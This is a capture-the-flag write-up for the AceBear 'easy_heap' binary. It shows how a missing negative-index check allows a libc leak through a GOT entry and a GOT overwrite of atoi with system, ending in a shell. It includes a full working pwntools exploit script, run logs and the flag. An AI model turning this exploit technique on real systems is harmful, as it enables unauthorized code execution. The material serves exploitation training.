easy_heap (43 Solves) (100 points)

Attachment: easy_heap easyheap_libc.so.6 xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
***************************Welcome to easy heap***************************
*                                                                        *
*************************Challenge Created By CNV*************************
*   Team: AceBear                                                        *
*   My blog: https://chung96vn.blogspot.com/                             *
**************************************************************************
Give me your name: AAAABBBBCCCCDDDD
Your age: 100
Wellcome: AAAABBBBCCCCDDDD
***************Menu****************
1 - Create Name
2 - Edit Name
3 - Delete Name
4 - Show Name
5 - Exit
***************Menu****************

Pretty easy challenge to get started with, but was asked to post a writeup for this, so here we go…

From the menu, one could assume this would be some heap challenge with UAF or something similar. But no heap involved at all for solving this.

Let’s check the function for showing a name:

void show_name()
{
  printf("Index: ");
  int idx = read_number();

  if ( idx > 9 ) {
    puts("Out of list name (0 <= index < 10)!!!");
    return;
  }

  if ( !names[idx] ) {
    puts("None name");
    return;
  }

  printf("This name %d is: %s\n", idx, names[idx]);

  puts("Done!");
}

It only checks the upper boundaries but fails on checking for negative indices.

So let’s take a look at the surrounding memory of the names array:

0x804b000:  0x0804af14  0xf7ffd920  0xf7fec2f0  0xf7e2de10 <= GOT
0x804b010:  0xf7ea46c0  0xf7e10a80  0x080484f6  0xf7decf80
0x804b020:  0xf7e7d8e0  0x08048526  0x08048536  0xf7e27160
0x804b030:  0x08048556  0xf7dd86a0  0x08048576  0x00000000
0x804b040:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b050:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b060:  0xf7f90ce0  0x00000000  0x00000000  0x00000000 <= stderr
0x804b070:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b080:  0xf7f905c0  0xf7f90d80  0x00000000  0x00000000 <= stdin / stdout
0x804b090:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b0a0:  0x00000000  0x00000000  0x00000000  0x00000000 <= names
0x804b0b0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b0c0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b0d0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b0e0:  0x41414141  0x42424242  0x43434343  0x44444444 <= username
0x804b0f0:  0x00000000  0x00000000  0x00000000  0x00000000
0x804b100:  0x00000064  0x00000000  0x00000000  0x00000000 <= age
0x804b110:  0x00000000  0x00000000  0x00000000  0x00000000

When a name is added, it would be created on the heap, and the address for the string would be stored in the names array.

The show_name function would dereference the address and show the string at the corresponding location on the heap.

So to be able to do some proper leaking, we need a pointer to an interesting address. We’d want to read one of the got entries to calculate the libc base address.

We could create one in our username and try to show its content, but since the username is stored behind the names array, we’d need a positive index, don’t we?

Nope, we can just abuse the fact, that in 32bit subtraction an address will wrap around from 0x0 to 0xffffffff. So we can just specify such a big negative index, that when subtracted from 0x804b0a0 goes below 0x0 wrapping to 0xffffffff arriving at 0x804b0e0 again (the address of our username).

gdb-peda$ p/x 0x804b0a0-0x804b0e0
$1 = 0xffffffc0
gdb-peda$ p/d 0xffffffc0/4
$2 = 1073741808

If we now specify -1073741808 as the index for our buffer, the show_function will read the pointer from 0x804b0e0 and shows the content at this address, so let’s just point this to read got.

#!/usr/bin/python
from pwn import *
import sys

HOST = "easyheap.acebear.site"
PORT = 3002

def show(idx):
    r.sendline("4")
    r.sendlineafter("Index: ", str(idx))
    r.recvuntil(": ")
    DATA = r.recvuntil("\n", drop=True)
    r.recvuntil("Your choice: ")

    return DATA

def create(idx, name):
    r.sendline("1")
    r.sendlineafter("Index: ", str(idx))
    r.sendafter("name: ", name)
    r.recvuntil("Your choice: ")

def edit(idx, name):
    r.sendline("2")
    r.sendlineafter("Index: ", str(idx))
    r.sendlineafter("name: ", name)
    r.recvuntil("Your choice: ")    

def delname(idx):
    r.sendline("3")
    r.sendlineafter("Index: ", str(idx))
    r.recvuntil("Your choice: ")

def quit():
    r.sendline("4")

def exploit(r):
    name = p32(e.got["read"])   # Prepare pointer to read got
    name += p32(e.got["atoi"])  # Prepare pointer to atoi got
    name += "A"*(32-len(name))

    r.sendafter("name: ", name)
    r.sendafter("age: ", str(0x21))
    r.recvuntil("Your choice: ")

    log.info("Leak LIBC via first name ptr")

    LEAK = u32(show(-1073741808)[:4])       # name[0]
    libc.address = LEAK - libc.symbols["read"]

    log.info("LEAK          : %s" % hex(LEAK))
    log.info("LIBC          : %s" % hex(libc.address))
        
    r.interactive()
    
    return

if __name__ == "__main__":
    e = ELF("./easy_heap")
    libc = ELF("./easyheap_libc.so.6")

    if len(sys.argv) > 1:        
        r = remote(HOST, PORT)
        exploit(r)
    else:                
        r = process("./easy_heap", env={"LD_PRELOAD" : "./easyheap_libc.so.6"})
        print util.proc.pidof(r)
        pause()
        exploit(r)
$ python xpl.py 
[+] Starting local process './easy_heap': pid 9759
[9759]
[*] Paused (press any to continue)
[*] Leak LIBC via first name ptr
[*] LEAK          : 0xf764b350
[*] LIBC          : 0xf7577000
[*] Switching to interactive mode

With libc address at hand, we can use the same bug in edit_name

int edit_name()
{
  printf("Index: ");
  int idx = read_number();
  
  if ( idx > 9 ) {
    puts("Out of list name (0 <= index < 10)!!!");
    return;
  }
  if ( !names[idx] ) {
    puts("None name");  
    return;
  }

  printf("Input new name: ");
  read_string(names[idx], 32u);
  puts("Done!");
}

We already prepared a pointer to atoi directly after the read pointer in username, and thus can use this one to overwrite the atoi got entry:

log.info("Overwrite atoi via second name ptr")

payload = p32(libc.symbols["system"])

edit(-1073741808+1, payload)

Since the menu handler always calls atoi on our input to convert it into a number, we now just have to select /bin/sh to trigger a shell (which will basically call system("/bin/sh")))

log.info("Send /bin/sh to trigger shell")

r.sendline("/bin/sh")
$python xpl.py 1
[*] '/vagrant/Challenges/acebear/easyheap/easy_heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/vagrant/Challenges/acebear/easyheap/easyheap_libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to easyheap.acebear.site on port 3002: Done
[*] Leak LIBC via first name ptr
[*] LEAK          : 0xf7eb7350
[*] LIBC          : 0xf7de3000
[*] Overwrite atoi via second name ptr
[*] Send /bin/sh to trigger shell
[*] Switching to interactive mode
$ cat /home/easy_heap/flag
AceBear{m4yb3_h34p_i5_3a5y_f0r_y0u}